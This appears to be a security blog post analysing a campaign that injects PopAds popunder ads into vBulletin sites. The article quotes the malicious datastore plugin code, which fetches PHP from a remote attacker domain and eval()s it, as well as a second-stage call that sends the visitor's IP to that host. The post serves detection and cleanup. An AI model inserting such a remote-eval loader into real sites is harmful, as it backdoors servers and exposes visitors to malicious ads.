Vbulletin Used to Show Malicious Advertisements
In the past, we have seen a massive amount of vBulletin websites compromised through theVBSeo Vulnerability. Attackers have been infecting vBulletin websites since 2012 with this malware, and more recently with a newvariation of the same infection. Ever since this new development, the table datastore in vBulletin has been a prime candidate for attackers to store malicious code where malware can be easily loaded on every visit.
Recently, we came across a malware campaign of vBulletin websites showing malicious ads from popads[.]net for no apparent reason. The webmasters had no idea where they were coming from. Pop-up Ads on vBulletin Forums
This ad network is well known for nasty pop-ups and malware-spreading advertisements as the core part of its network, which makes this a troublesome situation.
Here’s an example of the code being injected into the vBulletin sites:
<!-- PopAds.net Popunder Code for www.YourSite.com -->
<script type="text/javascript" data-cfasync="false">
var _pop = _pop || [];
_pop.push(['siteId', 1514372]);
_pop.push(['minBid', 0]);
_pop.push(['popundersPerIP', 0]);
_pop.push(['delayBetween', 0]);
_pop.push(['default', false]);
_pop.push(['defaultPerDay', 0]);
_pop.push(['topmostLayer', false]);
(function() {
var pa = document.createElement('script'); pa.type = 'text/javascript'; pa.async = true;
var s = document.getElementsByTagName('script')[0];
pa.src = '//c1.popads.net/pop.js';
pa.onerror = function() {
var sa = document.createElement('script'); sa.type = 'text/javascript'; sa.async = true;
sa.src = '//c2.popads.net/pop.js';
s.parentNode.insertBefore(sa, s);
};
s.parentNode.insertBefore(pa, s);
})();
</script>
<!-- PopAds.net Popunder Code End -->
The code is quite easy to spot because it’s placed after the closing
</html>
tags. Most website security scanners would flag it as suspicious, and
strangely enough, it’s only being displayed once per IP. This means a
repeat visitor wouldn’t see the ads on subsequent visits.
Externalphp File Loading in Pluginlist
Knowing how vBulletin infections tend to store themselves inside the datastore
table, we went on to take a look at that table, more specifically in the pluginlist
row.
We found something that shouldn’t be there in the middle of the Tapatalk
code:
$output = preg_replace('@<link href="([^">]+)android-app:\/\/com.quoord\.tapatalkpro\.activity\/tapatalk@',
'<link href="android-app://com.quoord.tapatalkpro.activity/tapatalk', $output);
$output = preg_replace('@<link href="([^">]+)ios-app:\/\/307880732\/tapatalk@',
'<link href="ios-app://307880732/tapatalk', $output);
$config_data
=
file_get_contents('http://geekube(.)com/wp-content/uploads/2013/xml.php?a=inner&host='
. $_SERVER['SERVER_NAME']);
if(strlen($config_data) > 0){ eval($config_data); }
";s:14:"page_templates";s:106:"global $vbulletin;
Loading PHP files from external sources through the pluginlist
is never a good thing so it deserves further investigation. We took steps to simply mimic the requests in question.
On the first level of the request, the geekube(.)com
domain returns us with the following PHP file hosted on a malicious WordPress site:
$output .=
file_get_contents('http://geekube.com/wp-content/uploads/2013/uploads/sites/16b54149eeb067699ab60ce79aa44b9e/js.php?remote='
. $_SERVER['REMOTE_ADDR']);
We can see that the external script receives the visitor’s IP
address, which allows the malware to perform its conditional IP controls
and make detection harder. It also means we can easily spoof the
requests with a new IP to get to the next step.
By turning $_SERVER[‘REMOTE_ADDR’]
into a server IP for example, 192.192.192.192 the next script immediately returns the entire block of code for the popads
advertisement code we saw initially.
The first part of the request chain makes use of $_SERVER[‘SERVER_NAME’]
and now we can see why; the script customizes the code to make it look
as legitimate as possible by modifying the initial comment line:
<!-- PopAds.net Popunder Code for www.YourSite.com -->
The script will display the victim’s website domain in the comment line instead of www.YourSite.com
in an attempt to fool webmasters into mistaking it for legitimate code.
New Domains Being Used
A new domain involved in this campaign has been using the exact same mechanisms and requests images(.)imagenetcom(.)com
We suspect there will be other sites that also leverage this tactic against vBulletin sites.
It’s always important to keep an eye on the plugins you have on your
website. This is important in vBulletin due to the ease with which the
attackers can add custom code or calls to external scripts in already
existing plugins. This alone makes it difficult for a webmaster to
locate the malicious injection, unless constant reviews of the plugins
in use are done.
Integrity monitoring services
will also help you stay aware of any unauthorized modifications to plugins and files on your site.
If you suspect your website has been infected, we are alwaysready to assist you.
Vbulletin Used to Show Malicious Advertisements的更多相关文章
- [Unity 5.2] The imported type `UnityEngine.Advertisements.ShowResult' is defined multiple times
unityAds报这个错: The imported type `UnityEngine.Advertisements.ShowResult' is defined multiple times go ...
- 关于chkrootkit 检查 INFECTED: Possible Malicious Linux.Xor.DDoS installed
chkrootkit检测时,发现一个Xor.DDoS内容,内容如下...Searching for Linux.Xor.DDoS ... INFECTED: Possible Malicious Li ...
- vBulletin 5.x 版本通杀远程代码执行漏洞复现
漏洞介绍 vBulletin中存在一个文件包含问题,可使恶意访问者包含来自 vBulletin 服务器的文件并且执行任意 PHP 代码.未经验证的恶意访问者可通过向index.php发出包含 rout ...
- The request was rejected because the URL contained a potentially malicious String ";"报错解决
报错信息 浏览器中看到的报错 错误摘要: The request was rejected because the URL contained a potentially malicious Stri ...
- 应用安全 - CMS - vBulletin漏洞汇总
SSV-15384 Date: 2004.11 漏洞类别: SQL 注入 SSV-15476 Date: 2005.2 漏洞类别: RCE SSV-15482 Date: 2005.2 类型: RCE ...
- security.web.firewall.RequestRejectedException: The request was rejected because the URL contained a potentially malicious String ";"
今天有个接口打算使用矩阵变量来绑定参数,即使用@MatrixVariable注解来接收参数 调用接口后项目报了如下错误 org.springframework.security.web.firewal ...
- Simple, Fast Malicious Multiparty Private Set Intersection-解读
文本记录阅读该论文的笔记. 这是文章框架,来自视频. 介绍 本文主要解决恶意攻击下安全的多方PSI,主要用到两大技术OPPRF和OKVS,构造合谋和不合谋的协议. 基础知识 OPPRF 这部分在OPR ...
- Chapter 6 — Improving ASP.NET Performance
https://msdn.microsoft.com/en-us/library/ff647787.aspx Retired Content This content is outdated and ...
- App forensics
A friend of mine claimed that someone stole her personal data via hacking certain App. She installed ...
随机推荐
- VS2010-MFC(对话框:创建对话框类和添加控件变量)
转自:http://www.jizhuomi.com/software/153.html 前两讲中讲解了如何创建对话框资源.创建好对话框资源后要做的就是生成对话框类了.生成对话框类主要包括新建对话框类 ...
- MS-coco数据集下载及使用(转)
先做个标记,改天研究下. 几个链接: MS coco数据集介绍及下载 Microsoft COCO 数据集 COCO Dataset 数据特点 COCO 数据集的使用
- Template-Thymeleaf:Thymeleaf
ylbtech-Template-Thymeleaf:Thymeleaf 1.返回顶部 2.返回顶部 3.返回顶部 4.返回顶部 5.返回顶部 0. https://www.thyme ...
- PageRank算法R语言实现
PageRank算法R语言实现 Google搜索,早已成为我每天必用的工具,无数次惊叹它搜索结果的准确性.同时,我也在做Google的SEO,推广自己的博客.经过几个月尝试,我的博客PR到2了,外链也 ...
- js时间操作getTime(),ios移动端真机上返回显示NAN
ios移动端,js时间操作getTime(),getFullYear()等返回显示NaN的解决办法及原因 在做移动端时间转化为时间戳时,遇到了一个问题,安卓手机上访问时,能拿到时间戳,从而正确转换时间 ...
- 第一周课堂笔记5th
1. While循环机制 如何终止循环? 改变条件(根据上面的流程,只要改变条件,就会终止循环). 关键字:break. 调用系统命令:quit(),exit() 后面会讲到,不建议大家使用 ...
- 2019-8-31-dotnet-手动解决-json-解析中不合法字符串
title author date CreateTime categories dotnet 手动解决 json 解析中不合法字符串 lindexi 2019-08-31 16:55:58 +0800 ...
- 新手玩ubuntu(一)终端
有终端才能行天下事 点击为如下,就可以进行下面的开发了
- win10 安装face_recongnition
1.安装dlib https://stackoverflow.com/questions/41912372/dlib-installation-on-windows-10 2.安装face_recon ...
- 再不懂时序就 OUT 啦!,DBengine 排名第一时序数据库,阿里云数据库 InfluxDB 正式商业化!
云数据库 InfluxDB® 版介绍 阿里云数据库 InfluxDB® 版已于近日正式启动商业化 . 云数据库 InfluxDB® 是基于当前最流行的开源数据库 InfluxDB 提供的在线数据库服务 ...